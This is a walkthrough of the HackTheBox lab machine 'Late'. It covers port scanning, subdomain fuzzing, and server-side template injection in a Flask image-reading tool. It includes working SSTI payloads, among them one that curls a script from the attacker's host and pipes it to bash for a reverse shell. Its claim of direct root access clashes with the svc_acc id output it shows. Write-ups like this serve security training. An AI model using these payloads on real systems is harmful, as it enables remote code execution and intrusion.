Late

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Late (Ubuntu, attack surface: OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) (22), nginx 1.14.0 (Ubuntu) (80)). Foothold via ssti; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC 10.10.11.156 --min-rate 1000

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: http (80), ssh (22).
• Scan used: nmap -p- -sVC 10.10.11.156 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.11.156 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-16 00:03 PDT
Nmap scan report for late.htb (10.10.11.156)
Host is up (0.072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 025e290ea3af4e729da4fe0dcb5d8307 (RSA)
|   256 41e1fe03a5c797c4d51677f3410ce9fb (ECDSA)
|_  256 28394698171e461a1ea1ab3b9a577048 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.66 seconds

1. Based from the nmap results, the machine runs a web application service and opens ssh login.

2. Scrolling down, there's another link which redirects to another subdommain --> images.late.htb.

images.late.htb

Running wfuzz to check another subdomain --> found only images.late.htb.

wfuzz -u "http://late.htb" -H "Host: FUZZ.late.htb" -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 9461

1. Interesting, since it said that it built with Flask, hence it could related to SSTI vuln.
2. Let's check that by uploading a file which has regex operation such --> {{ 7*7 }}.
3. I used this online tool to convert text to image with ease.
4. After uploaded the image, automatically we got this:

┌──(D3v0o0Nu11㉿htb)-[~/Downloads]
└─$ cat results.txt
<p>49
</p>

1. Great! This should be our foothold.
2. Let's try to run simple SSTI payload to check whether there is filter.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

1. To fix this I tried to change the font to monospace, background color to black, font color to white, and zoom level max.

┌──(D3v0o0Nu11㉿htb)-[~/Downloads]
└─$ cat results.txt
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

</p>

1. Nice! Even the basic payload is executed, let's send our reverse shell payload.

PAYLOAD

What to send

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.16.20/f | bash').read()}}

NOTES:

Change "bash" to "sh" won't work. 

1. So what to do now is, convert the SSTI payload to image file, then set a listener on port 1337, lastly set python server (because we want to curl a file from our local machine). Send the image.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.